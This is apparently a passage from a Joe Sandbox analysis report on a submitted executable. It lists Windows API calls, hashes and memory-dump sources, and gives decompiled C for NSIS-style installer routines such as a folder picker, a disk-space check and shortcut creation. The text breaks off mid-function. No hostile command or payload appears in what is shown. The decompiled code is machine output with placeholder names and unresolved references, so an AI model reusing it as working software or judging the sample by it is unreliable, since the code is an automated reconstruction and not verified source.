SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404A2E
DeleteObject.GDI32(?), ref: 00404A33
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404A5E
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404A6A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404AFF
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404B2A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B3E
GetWindowLongA.USER32 ref: 00404B6D
SetWindowLongA.USER32 ref: 00404B7B
ShowWindow.USER32(?,00000005), ref: 00404B8C
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404C8F
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404CF4
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404D09
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404D2D
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404D53
ImageList_Destroy.COMCTL32(?), ref: 00404D68
GlobalFree.KERNEL32 ref: 00404D78
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404DE8
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404E91
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404EA0
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EC0
ShowWindow.USER32(?,00000000), ref: 00404F0E
GetDlgItem.USER32 ref: 00404F19
ShowWindow.USER32(00000000), ref: 00404F20

Strings

, xrefs: 00404EF8
M, xrefs: 00404AE6
N, xrefs: 00404BCA

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4775063a13ed137ad28af12a504201eff2421def2a950d44f430de19655b55b3
Instruction ID: 18330f5bf3a72d7674edbcfa030aeaae95a9b0ee0e7fe2e829f5852d3ce9e096
Opcode Fuzzy Hash: 4775063a13ed137ad28af12a504201eff2421def2a950d44f430de19655b55b3
Instruction Fuzzy Hash: AE029DB0E00209AFDB21CF55DD45AAE7BB5FB84315F10817AF610BA2E1C7799A42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004043F5 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 273
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004043F5(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				CHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				CHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				signed char* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				CHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				struct HWND__* _t165;
				struct HWND__* _t166;
				int _t168;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x41fd50;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xa) + 0x425000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E004055A0(0x3fb, _t146);
					E00405F5D(_t146);
				}
				_t166 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E004055A0(0x3fb, _t146);
							if(E004058CF(_t185, _t146) == 0) {
								_v8 = 1;
							}
							E00405CFB(0x41f548, _t146);
							_t87 = E00406087(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00405CFB(0x41f548, _t146);
								_t89 = E00405882(0x41f548);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 =  *_t89 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41f548,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t168 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x41f548) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x41f548,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t159 = E00405835(0x41f548) - 1;
									 *_t159 = 0x5c;
									if(_t159 != 0x41f548) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t168 = 0x400;
								L36:
								_t95 = E00404889(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x42375c + 0x10)) != _t158) {
									E00404871(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextA(_a4, _t168, 0x41f538);
									} else {
										E004047AC(_t168, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x424024 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t168) != 0) {
									_v8 = _t158;
								}
								E00403FD9(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x42056c == _t158) {
									E0040438A();
								}
								 *0x42056c = _t158;
								goto L53;
							}
						}
						_t185 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t166;
							_v72 = 0x420580;
							_v60 = E00404746;
							_v56 = _t146;
							_v68 = E00405D1D(_t146, 0x420580, _t166, 0x41f950, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E004057EE(_t146);
								_t125 =  *((intOrPtr*)( *0x423f90 + 0x11c));
								if( *((intOrPtr*)( *0x423f90 + 0x11c)) != 0 && _t146 == "C:\\Users\\alfons\\AppData\\Local\\Temp") {
									E00405D1D(_t146, 0x420580, _t166, 0, _t125);
									if(lstrcmpiA(0x422f20, 0x420580) != 0) {
										lstrcatA(_t146, 0x422f20);
									}
								}
								 *0x42056c =  *0x42056c + 1;
								SetDlgItemTextA(_t166, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t165 = GetDlgItem(_t166, 0x3fb);
					if(E0040585B(_t146) != 0 && E00405882(_t146) == 0) {
						E004057EE(_t146);
					}
					 *0x423758 = _t166;
					SetWindowTextA(_t165, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403FB7(_t166);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403FB7(_t166);
					E00403FEC(_t165);
					_t138 = E00406087(0xa);
					if(_t138 == 0) {
						L53:
						return E0040401E(_a8, _a12, _a16);
					} else {
						 *_t138(_t165, 1);
						goto L8;
					}
				}
			}

0x004043f5
0x004043fb
0x00404401
0x0040440e
0x0040441c
0x0040441f
0x00404427
0x0040442d
0x0040442d
0x00404439
0x0040443c
0x004044aa
0x004044b1
0x00404588
0x0040458f
0x0040459e
0x0040459e
0x004045a2
0x004045ac
0x004045b9
0x004045bb
0x004045bb
0x004045c9
0x004045d0
0x004045d7
0x004045da
0x00404611
0x00404613
0x00404619
0x0040461e
0x00404622
0x00404624
0x00404624
0x00404640
0x00000000
0x00404642
0x00404645
0x00404653
0x00404659
0x0040465a
0x0040465d
0x00404660
0x00000000
0x00404660
0x004045dc
0x004045de
0x004045e2
0x00000000
0x00000000
0x00000000
0x00000000
0x004045e4
0x004045e4
0x004045f1
0x004045f6
0x00000000
0x00000000
0x004045fa
0x004045fc
0x004045fc
0x00404607
0x0040460a
0x0040460f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040460f
0x0040466c
0x00404676
0x00404679
0x0040467c
0x00404683
0x00404683
0x00404685
0x00404685
0x0040468a
0x0040468c
0x00404694
0x0040469b
0x0040469d
0x004046a8
0x004046a8
0x0040469d
0x004046b8
0x004046c2
0x004046ca
0x004046e5
0x004046cc
0x004046d5
0x004046d5
0x004046ca
0x004046ea
0x004046ef
0x004046f4
0x004046fd
0x004046fd
0x00404706
0x00404708
0x00404708
0x00404714
0x0040471c
0x00404726
0x00404726
0x0040472b
0x00000000
0x0040472b
0x004045da
0x00404591
0x00404598
0x00000000
0x00000000
0x00000000
0x00404598
0x004044b7
0x004044c0
0x004044da
0x004044df
0x004044e9
0x004044f0
0x004044fc
0x004044ff
0x00404502
0x00404509
0x00404511
0x00404514
0x00404518
0x0040451f
0x00404527
0x00404581
0x00404529
0x0040452a
0x00404531
0x0040453b
0x00404543
0x00404550
0x00404564
0x00404568
0x00404568
0x00404564
0x0040456d
0x0040457a
0x0040457a
0x00404527
0x00000000
0x004044df
0x004044cd
0x00000000
0x00000000
0x004044d3
0x00000000
0x0040443e
0x0040444b
0x00404454
0x00404461
0x00404461
0x00404468
0x0040446e
0x00404477
0x0040447a
0x0040447d
0x00404485
0x00404488
0x0040448b
0x00404491
0x00404498
0x0040449f
0x00404731
0x00404743
0x004044a5
0x004044a8
0x00000000
0x004044a8
0x0040449f

APIs

GetDlgItem.USER32 ref: 00404444
SetWindowTextA.USER32(00000000,?), ref: 0040446E
SHBrowseForFolderA.SHELL32(?,0041F950,?), ref: 0040451F
CoTaskMemFree.OLE32(00000000), ref: 0040452A
lstrcmpiA.KERNEL32(00422F20,00420580,00000000,?,?), ref: 0040455C
lstrcatA.KERNEL32(?,00422F20), ref: 00404568
SetDlgItemTextA.USER32 ref: 0040457A

Part of subcall function 004055A0: GetDlgItemTextA.USER32 ref: 004055B3

Part of subcall function 00405F5D: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\qHpeBvr9cR.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040322A,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 00405FB5
Part of subcall function 00405F5D: CharNextA.USER32(?,?,?,00000000), ref: 00405FC2
Part of subcall function 00405F5D: CharNextA.USER32(?,"C:\Users\user\Desktop\qHpeBvr9cR.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040322A,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 00405FC7
Part of subcall function 00405F5D: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040322A,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 00405FD7

GetDiskFreeSpaceA.KERNEL32(0041F548,?,?,0000040F,?,0041F548,0041F548,?,00000001,0041F548,?,?,000003FB,?), ref: 00404638
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404653

Part of subcall function 004047AC: lstrlenA.KERNEL32(00420580,00420580,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046C7,000000DF,00000000,00000400,?), ref: 0040484A
Part of subcall function 004047AC: wsprintfA.USER32 ref: 00404852
Part of subcall function 004047AC: SetDlgItemTextA.USER32 ref: 00404865

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00404545
/B, xrefs: 00404556
A, xrefs: 00404518

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: /B$A$C:\Users\user\AppData\Local\Temp
API String ID: 2624150263-3312331311
Opcode ID: b7fefc9cacae961b95d378fd6a641a09e61e2e8d2cd41ae2b0be1c13a03d1c60
Instruction ID: 04579f169ebad34731529ea4dd061e989e150d10634133a65e55446a4c87498a
Opcode Fuzzy Hash: b7fefc9cacae961b95d378fd6a641a09e61e2e8d2cd41ae2b0be1c13a03d1c60
Instruction Fuzzy Hash: A5A17EB1900209ABDB11EFA1CC45AAF77B8EF85355F10843BFA01B62D1D77C9A418F69

Uniqueness

Uniqueness Score: -1.00%

Function 00402036 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402036() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E00402A0C(0xfffffff0);
				_t96 = E00402A0C(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x34)) = E00402A0C(2);
				 *((intOrPtr*)(_t100 - 0xc)) = E00402A0C(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x38)) = E00402A0C(0x45);
				if(E0040585B(_t96) == 0) {
					E00402A0C(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x4073ac, _t75, 1, 0x40739c, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x4073bc, _t100 - 8);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\alfons\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x18);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x18);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 0xc)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 0xc)),  *(_t100 - 0x18) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x34)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x38)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409448, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 8));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409448, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 8));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

0x0040203f
0x00402049
0x00402052
0x0040205c
0x00402065
0x0040206f
0x00402073
0x00402073
0x00402078
0x00402089
0x00402091
0x00402171
0x00402171
0x00402178
0x00402097
0x00402097
0x004020a8
0x004020ac
0x004020b2
0x004020bc
0x004020be
0x004020c9
0x004020cc
0x004020d9
0x004020db
0x004020dd
0x004020e4
0x004020e7
0x004020e7
0x004020ea
0x004020f4
0x004020fc
0x00402101
0x0040210d
0x0040210d
0x00402110
0x00402119
0x0040211c
0x00402125
0x0040212a
0x0040213c
0x0040214b
0x0040214d
0x00402159
0x00402159
0x0040214b
0x0040215b
0x00402161
0x00402161
0x00402164
0x0040216a
0x0040216f
0x00402184
0x00000000
0x00000000
0x00000000
0x0040216f
0x0040217a
0x004028a4
0x004028b0

APIs

CoCreateInstance.OLE32(004073AC,?,00000001,0040739C,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402089
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409448,00000400,?,00000001,0040739C,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402143

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020C1

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-1943935188
Opcode ID: 8b9c2e5640cd10c82be1a956849ef5df59aae12c3e21675f706a7f9f4a475de0
Instruction ID: 2bdc35c2d2963d88c22d289f5388ef8df5706d1624f03911357c3292c4b85553
Opcode Fuzzy Hash: 8b9c2e5640cd10c82be1a956849ef5df59aae12c3e21675f706a7f9f4a475de0
Instruction Fuzzy Hash: B2416275A00204BFDB00EFA4CD89E9E7BB6EF49314B20416AF905EB2D1CA79DD41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00402654 Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00402654(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E00402A0C(2), _t19 - 0x19c) != 0xffffffff) {
					E00405C59(__edi, _t6);
					_push(_t19 - 0x170);
					_push(__esi);
					E00405CFB();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x0040266c
0x00402680
0x0040268b
0x0040268c
0x004027c7
0x0040266e
0x0040266e
0x00402670
0x00402672
0x00402672
0x004028a4
0x004028b0

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402663

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 3e31af45bbe9dbcba2c239d5de48bd9256fd7baf997d6aca0ab2e4b00858bcc3
Instruction ID: 2317ffd169cfaf4cb587e6187c2204c3bd1190871e25379d9522107c79eb17b9
Opcode Fuzzy Hash: 3e31af45bbe9dbcba2c239d5de48bd9256fd7baf997d6aca0ab2e4b00858bcc3
Instruction Fuzzy Hash: 3AF0A732508100DAD710E7B49949AEEB368EF51328F60457BE505F20C1C6B84945DB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00403AE4(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;
				void* _t141;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x420564 = _t35;
					if(_t115 == 0x110) {
						 *0x423f88 = _t125;
						 *0x420578 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41f540 = _t91;
						E00403FB7(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x423768);
						 *0x42374c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x420564 = 1;
					}
					_t122 =  *0x4091e8; // 0xffffffff
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423fa0;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00404003(0x40b);
						while(1) {
							_t37 =  *0x420564;
							 *0x4091e8 =  *0x4091e8 + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091e8; // 0xffffffff
							__eflags = _t39 -  *0x423fa4;
							if(_t39 ==  *0x423fa4) {
								E0040140B(1);
							}
							__eflags =  *0x42374c - _t133;
							if( *0x42374c != _t133) {
								break;
							}
							__eflags =  *0x4091e8 -  *0x423fa4; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E00405D1D(_t116, _t125, _t130, 0x42c800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403FB7(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403FB7(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403FB7(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x42400c - _t133;
							_v32 = _t49;
							if( *0x42400c != _t133) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008);
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
							E00403FD9(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41f540, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x42400c - _t133;
							if( *0x42400c == _t133) {
								_push( *0x420578);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41f540);
							}
							E00403FEC();
							E00405CFB(0x420580, 0x423780);
							E00405D1D(0x420580, _t125, _t130,  &(0x420580[lstrlenA(0x420580)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x420580);
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x423758);
									 *0x41fd50 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423f80,  *_t130 +  *0x423760 & 0x0000ffff, _t125,  *(0x4091ec +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x423758 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403FB7(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x423758, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42374c - _t133;
									if( *0x42374c != _t133) {
										goto L61;
									}
									ShowWindow( *0x423758, 8);
									E00404003(0x405);
									goto L58;
								}
								__eflags =  *0x42400c - _t133;
								if( *0x42400c != _t133) {
									goto L61;
								}
								__eflags =  *0x424000 - _t133;
								if( *0x424000 != _t133) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423758);
						 *0x423f88 = _t133;
						EndDialog(_t125,  *0x41f948);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x423758, 0x40f, 0, 1);
						__eflags =  *0x42374c;
						return 0 |  *0x42374c == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x420558, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420558,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E0040401E(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
